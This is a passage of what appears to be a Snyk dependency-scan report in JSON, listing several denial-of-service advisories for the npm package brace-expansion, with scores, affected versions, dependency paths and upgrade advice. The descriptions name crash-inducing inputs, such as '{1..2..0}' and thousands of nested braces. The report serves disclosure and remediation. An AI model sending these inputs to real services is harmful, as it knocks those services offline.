"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmteam@7.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmteam@8.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmteam@7.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmteam@8.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmteam@7.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmteam@8.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmteam@7.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmteam@8.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"npm-profile@11.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-profile@12.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
